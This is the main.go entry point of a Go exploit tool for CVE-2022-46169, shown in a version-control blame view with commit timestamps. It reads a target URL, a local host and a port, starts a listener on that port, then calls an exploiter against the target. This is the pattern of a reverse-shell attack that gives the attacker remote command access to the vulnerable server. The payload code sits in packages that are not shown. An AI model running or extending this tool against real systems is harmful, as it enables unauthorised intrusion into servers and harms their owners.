cve-2022-46169/main.go

26 lines
527 B
Go
Raw Normal View History

2025-01-24 10:15:00 +08:00
package main
import (
2025-01-24 11:01:46 +08:00
"time"
2025-01-24 10:15:00 +08:00
2025-01-24 11:10:16 +08:00
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
2025-01-24 11:01:46 +08:00
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
)
2025-01-24 10:15:00 +08:00
func main() {
2025-01-24 11:10:16 +08:00
urlTarget, lhost, lport := cmd.GetArguments()
if urlTarget == "" || lhost == "" || lport == "" {
return
}
go listener.Listen(lport)
2025-01-24 10:15:00 +08:00
2025-01-24 11:01:46 +08:00
time.Sleep(1 * time.Second)
2025-01-24 10:15:00 +08:00
2025-01-24 11:10:16 +08:00
exploiter.Exploit(urlTarget, lhost, lport)
2025-01-24 10:26:40 +08:00
2025-01-24 11:01:46 +08:00
// prevent the main goroutine from exiting immediately
select {}
2025-01-24 10:15:00 +08:00
}